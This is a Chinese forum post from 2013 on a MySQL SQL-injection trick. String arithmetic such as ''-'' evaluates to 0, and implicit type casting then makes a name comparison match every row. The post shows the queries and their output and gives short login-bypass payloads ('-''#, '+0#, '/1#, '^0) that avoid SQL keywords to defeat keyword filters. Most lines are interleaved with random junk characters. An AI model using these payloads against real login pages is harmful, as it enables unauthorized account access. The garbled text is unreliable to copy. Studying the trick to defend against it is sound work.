找回密码
 立即注册
欢迎中测联盟老会员回家,1997年注册的域名
查看: 2057|回复: 0
打印 上一主题 下一主题

使用MySQL字符串运算实施精巧化SQL注入攻击

[复制链接]
跳转到指定楼层
楼主
发表于 2013-11-23 16:20:34 | 只看该作者 回帖奖励 |倒序浏览 |阅读模式
我们先来看这样一个场景。9 m6 e# h2 I% k
有以下表结构:
& v! g3 ]0 R/ v( m1 d! b5 m2 a% ]3 F/ p8 ]* x
mysql> desc admin;
$ x; P. O- F% ?# H1 T+----------+--------------+------+-----+---------+----------------++ v$ ~+ r% m7 c, x2 C7 S
| Field    | Type         | Null | Key | Default | Extra          |6 J& g" l: o8 M0 y' ]2 N1 Q
+----------+--------------+------+-----+---------+----------------+
. w1 x3 P0 d2 ]2 l/ v6 f| id       | mediumint(9) | NO   | PRI | NULL    | auto_increment |
) g* |* f- A! T( ^6 w* }| name     | char(32)     | NO   | UNI | NULL    |                |' K/ h: Q( a. A/ q/ x
| password | char(32)     | NO   | UNI | NULL    |                |
  e7 R/ g1 }5 Z+----------+--------------+------+-----+---------+----------------+4 |: s( X. }- `! v2 d
3 rows in set (0.00 sec)9 {$ y" K0 a% P$ f4 {3 a  ^& s
执行select * from admin;,成功返回所有记录内容。
9 F4 U# m0 f( _" L, F4 A& I; `' i* N' t* b3 F1 W
+ ^8 a* t& h% b% v3 G
+----+--------+----------------------------------+2 y' o6 T& W2 `. _0 V; G) E' S5 @
| id | name   | password                         |
  H9 {' p# N( M9 v' w+----+--------+----------------------------------+! M3 F* z' z( P: y2 O$ K. ?
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
# J; {2 i4 P9 o) r|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |; h  D8 l! A% P8 A
|  4 | n00b   | ff80e8508d39047460921792273533a4 |9 }. G/ X; F; s
+----+--------+----------------------------------+
! t; i  B$ y# P, k' u3 rows in set (0.00 sec)
6 n8 s5 M9 _' z. [) ~执行select * from admin where name=”;,没有匹配到任何记录。 " v6 ]; I5 L( Z1 N# |* m+ s
7 e1 P! P+ m0 j6 K* m/ E- X: ^. m% H
mysql> select * from admin where name = '';* `  q0 h  C6 ~
Empty set (0.00 sec), J, A7 W/ |' c, Q0 Z% f3 \+ t$ B
那么我们来执行select * from admin where name = ”-”;
1 `& F( E( [& b7 F3 O' E$ y; V
& V% ~- {% \3 P" X
8 D1 R) `/ o) l  \+----+--------+----------------------------------+3 U( [/ Z2 m% y! z$ Z* O
| id | name   | password                         |
8 j! q0 f: l. }# c+----+--------+----------------------------------+- H. f8 ~- U0 g9 F
|  1 | admin  | c6dabaeeb05f2bf8690bab15e3afb022 |
% C1 u9 g6 H* V1 _+ g, p4 _|  2 | pnig0s | 998976f44e2a668k5dc21e54b3401645 |
% ^' [# s* s* a, u8 ~6 }$ Q|  4 | n00b   | ff80e8508d39047460921792273533a4 |
* n# P9 r" x$ s( \$ y+----+--------+----------------------------------+( P. N$ w1 G( X, ]/ Q: L. p
3 rows in set, 3 warnings (0.00 sec), F4 t3 l/ Z6 g8 Q% [$ l6 N/ M
可以看到,也成功返回了所有记录,但是有三个warnings,我们看下警告信息: # d6 T, l  T$ M6 z1 Q2 }+ F1 M

2 C3 G9 Y1 {. d/ W" r7 R9 F, Q) A+ Pmysql> show warnings;; W: @/ s5 c) Q) k- l! L* N- A
+---------+------+------------------------------------------
; f9 S8 U' ^1 b/ D: S' d| Level   | Code | Message, B% ]( Z  z6 }1 N/ s  d- M
+---------+------+------------------------------------------( ?( {* T' d7 [1 m
| Warning | 1292 | Truncated incorrect DOUBLE value: 'admin
! ^  S! `7 q$ _' p! {| Warning | 1292 | Truncated incorrect DOUBLE value: 'pnig0s* o$ W9 p( @) J2 z& P' R; E
| Warning | 1292 | Truncated incorrect DOUBLE value: 'n00b9 d) F: k7 F$ b& L
+---------+------+------------------------------------------
1 x* R: I$ |1 D* d* ?2 r3 rows in set (0.00 sec)5 H6 r0 k  K5 W' ^' ^
提示截断了错误的DOUBLE值’admin等等,当在一个字符串类型的列中使用数字类型的值时会产生这类警告。 我们单独执行select ”-”;看下结果。
+ p1 b& Y- h$ q$ U# ], {
% a8 Q+ ^6 `. gmysql> select ''-'';
# J. S! y6 N$ T: {# g: w4 R+-------+
' {9 J. ^# h5 G6 {/ i| ''-'' |' Y8 X1 p6 S( s4 a  C/ B1 `
+-------+
2 B. g; `& ]  V4 }, t* K. o' Q|     0 |
+ A4 \- Y0 _( L4 d3 A  [+-------+' G* |- {4 M, B4 {) ]3 Q  U. _8 U
1 row in set (0.00 sec)$ f$ u$ [$ n/ n3 |; T; B. z
返回0,也就是说我们查询的每一行的name子段都会和0做对比,这样就会触发一个类型转换,对name字段转换的结果也必然为0:
! V& [4 A, b1 b: e, m2 v
; Y/ h4 p+ r9 t9 h' Y* @mysql> select CAST((select name from admin limit 1,1) as DECIMAL);
/ F; }6 P7 [6 Q, C4 _" V+-----------------------------------------------------+: C% c6 D+ e1 [, u9 D
| CAST((select name from admin limit 1,1) as DECIMAL) |+ i" r: f4 h- W' u2 T0 N
+-----------------------------------------------------+% f8 n+ {# L( y- t  f
|                                                   0 |9 J4 J0 t7 l* R) H# _/ b- |
+-----------------------------------------------------+" [/ M$ }6 k$ }
1 row in set, 1 warning (0.00 sec)
, e- V8 u& o, D" [因此where语句构成了相等的条件,where 0=”=”,记录被返回。 , n( O" M3 n1 }

0 E) o! C" M+ ]$ {: ~( G- r# pSQL注入场景: http://www.sqlzoo.net/hack/ ( b8 s6 f. E0 p; ?! v/ u! X

) H  U. l$ ?/ E2 P' _3 j
2 c2 x6 S% u; @) C, N, g  k0 F' H7 l1 f4 _7 ?% p% h7 v
3 c6 S5 ?% g! M7 n5 T* l
如果我们想绕过登录验证,上面已经给出了一个传统的tips:用户名密码均为’ or ”=’ 这样的逻辑和绕过方式很常见,这里不再具体解释了。 ' X3 h# `" t' I& X$ `

- w2 d5 e( \8 X那么通过这次发现的技巧,可以使用一种相当精巧的方式,且避免使用SQL关键字,来绕过登录。 : _7 c- k  k( c. f8 E* ~2 O) Z, i

( c) W  B, ~1 G$ t
  Q6 b* |9 @6 n% z5 ^7 k+ W: q3 @, H" S/ |! T

9 a7 b: n9 ?% l9 {) A仅仅在name子段输入’-”#,password留空,即可绕过登录验证。
( Z/ A- L. R& D9 w3 Y' ]
, k. V. f  O. y$ Z) z4 H   . ]/ ^1 J5 W% [( ^) m1 Q

) Z0 E0 U" b4 }! V# D2 ?* q除了”-”,其他运算符”+”,”*”,”^”都会有同样的效果。 再继续进行测试,我们发现只要在闭合单引号的情况系构造查询结果为0的条件即可
' _. L7 a: F0 [, I, r# D
+ a. L- j6 B7 I: |& J3 \$ b' m4 c2 F: |8 N" @
mysql> select ''/1;/ }# T' f( L8 Z1 g  y
+------+3 r/ ?. m' [! C, C
| ''/1 |/ W2 c; r) H% A, N" P7 W
+------+% k9 o- s* G# S3 ^- Q) f5 Z5 i
|    0 |( n; e" w" o8 F" m* B
+------+) w9 N! f8 @6 r
1 row in set (0.00 sec)9 R( a" f: a4 Z
类似的”+0,”-0,”*0,”^0均可。 那么刚才的注入环境我们使用以下的精简payload同样可以绕过登录认证: ‘+0#,’/1#,’^0,’-0#等等。  
+ N- O. w* o5 A& Z; J; _' ]5 i# B3 g2 p' W, G9 }' p2 C
利用这样一种特性,当目标对注入语句中的SQL关键字进行过滤时,便可通过这样一种方式进行Bypass。
5 P/ Y/ H7 w* V/ u- Y
回复

使用道具 举报

您需要登录后才可以回帖 登录 | 立即注册

本版积分规则

快速回复 返回顶部 返回列表